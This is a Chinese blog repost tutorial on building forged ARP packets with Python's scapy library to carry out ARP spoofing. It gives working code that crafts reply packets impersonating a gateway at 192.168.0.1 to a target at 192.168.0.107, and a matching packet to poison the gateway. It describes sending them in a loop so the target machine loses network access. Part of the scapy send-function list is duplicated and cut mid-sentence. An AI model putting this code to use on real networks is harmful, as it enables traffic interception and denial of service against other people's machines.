欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

构造ARP包发包

发布时间:2023/12/15 编程问答 39 豆豆
生活随笔 收集整理的这篇文章主要介绍了 构造ARP包发包 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

构造ARP包进行arp欺骗

arp分为请求包以及响应包 Opcode中的代码表示请求以及响应

使用wireshark抓包可见,Opcode为1可知这是一个请求包

再来看看响应包,它的Opcode为2

在使用scapy模块构造,arp应答包时,我们采用的是第二层发包(就是根据我们第二层中的封装的帧头来发包)

ptk2 = Ether()/ARP()#构造数据包ptk2[ARP].op = 2#设置为应答包 ptk2[ARP].psrc = '192.168.0.1'#我们想要冒充的ip地址 ptk2[ARP].pdst = '192.168.0.107'#我们想要发送数据的ip地址

在我们没有设置ARP时我们 第二层目标地址mac默认为网关的地址

之后就是发包,sr 与 sr1都是在第三层发包,所以我们使用sr1发包时是没有用的。使用的srp1(pkt)方法来发包

srp1(ptk2)

如果想要目标机器断网,我们还得去使用上面的同样的方法去欺骗网关

arpspoof_gateway = Ether()/ARP() arpspoof_gateway[ARP].op = 2 arpspoof_gateway[ARP].psrc = '192.168.0.107' arpspoof_gateway[ARP].pdst = '192.168.0.1'

接着循环发送达到欺骗的目的

发送请求包

arp = ARP() arp[ARP].op = 1 arp[ARP].pdst = '192.168.0.107' sr1(arp)

四种发包方式用法如下:

(1)只发不收

  • send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
  • sendp(),根据第二层发包,需要手动指定第二层如何封装。

(2)发包且收包

  • sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
    动指定第二层如何封装。

(2)发包且收包

  • sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
  • srp()和srp1()都是根据第二层发包,srp1表示只接收第一个回复。

总结

以上是生活随笔为你收集整理的构造ARP包发包的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。